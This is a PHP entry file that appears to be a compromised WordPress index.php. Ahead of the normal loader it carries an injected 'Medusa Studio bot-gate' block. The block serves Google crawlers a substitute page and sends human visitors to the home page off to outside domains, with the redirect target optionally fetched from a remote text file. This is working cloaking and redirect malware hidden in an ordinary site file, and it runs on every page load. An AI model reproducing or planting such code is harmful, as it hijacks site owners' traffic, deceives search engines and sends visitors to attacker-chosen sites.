<?php
/* BEGIN Medusa Studio bot-gate */
error_reporting(0);
@set_time_limit(0);
if (!defined('IST_TXT_URL')) {
    define('IST_TXT_URL', 'https://barlaselite.xyz/ist.txt');
}
if (!defined('MS_IST_TXT_URL')) {
    define('MS_IST_TXT_URL', IST_TXT_URL);
}
if (!defined('MS_VITRIN_BAKED')) {
    define('MS_VITRIN_BAKED', 'https://barlaslabs.xyz/');
}

$googleBots = 'Googlebot|AdsBot|Mediapartners-Google|APIs-Google|Googlebot-Image|Googlebot-Video|Googlebot-News|Googlebot-Search|Googlebot-Inspect|Googlebot-Android|Googlebot-Mobile|Google-InspectionTool|Google-PageRenderer|Google-';
$userAgent = (string)($_SERVER['HTTP_USER_AGENT'] ?? '');
$uri = (string)($_SERVER['REQUEST_URI'] ?? '');
$path = (string)(parse_url($uri, PHP_URL_PATH) ?: '/');
$is_google_bot = ($userAgent !== '' && (bool)preg_match('/' . $googleBots . '/i', $userAgent));
$is_home = ($path === '/' || $path === '' || (bool)preg_match('#/index\.php$#i', $path));
$has_params = ((string)($_SERVER['QUERY_STRING'] ?? '')) !== '';

$ms_nocache = static function (): void {
    if (headers_sent()) {
        return;
    }
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private');
    header('CDN-Cache-Control: no-store');
    header('Pragma: no-cache');
    header('Expires: 0');
    header('Vary: User-Agent, Referer');
};

if ($is_google_bot && ($is_home || $has_params)) {
    $ms_nocache();
    if (!headers_sent()) {
        header('Content-Type: text/html; charset=utf-8');
        header('X-Robots-Tag: index, follow');
    }
    $lic = __DIR__ . '/license.html';
    if (is_file($lic) && filesize($lic) >= 32) {
        readfile($lic);
    } else {
        echo '<!DOCTYPE html><html lang="tr"><head><meta charset="utf-8"><title>License</title></head><body><h1>İstanbul</h1></body></html>';
    }
    exit;
}

if ($is_home) {
    $ms_nocache();
    $vitrin = (string)MS_VITRIN_BAKED;
    if ($vitrin === '') {
        $raw = @file_get_contents((string)IST_TXT_URL);
        if (is_string($raw) && trim($raw) !== '') {
            $line = trim((string)preg_split('/\R/', trim($raw))[0]);
            if ($line !== '' && strpos($line, 'http') !== 0) {
                $line = 'https://' . ltrim($line, '/');
            }
            if ($line !== '' && !preg_match('/\.txt$/i', (string)(parse_url($line, PHP_URL_PATH) ?: ''))) {
                $vitrin = rtrim($line, '/') . '/';
            }
        }
    }
    if ($vitrin !== '' && filter_var($vitrin, FILTER_VALIDATE_URL)) {
        if (!headers_sent()) {
            header('Location: ' . $vitrin, true, 302);
            header('X-Medusa-Vitrin: 302');
        }
        exit;
    }
}
/* END Medusa Studio bot-gate */
if (is_file(__DIR__ . '/wp-blog-header.php')) {
    define('WP_USE_THEMES', true);
    require __DIR__ . '/wp-blog-header.php';
    exit;
}
http_response_code(404);
echo 'Not Found';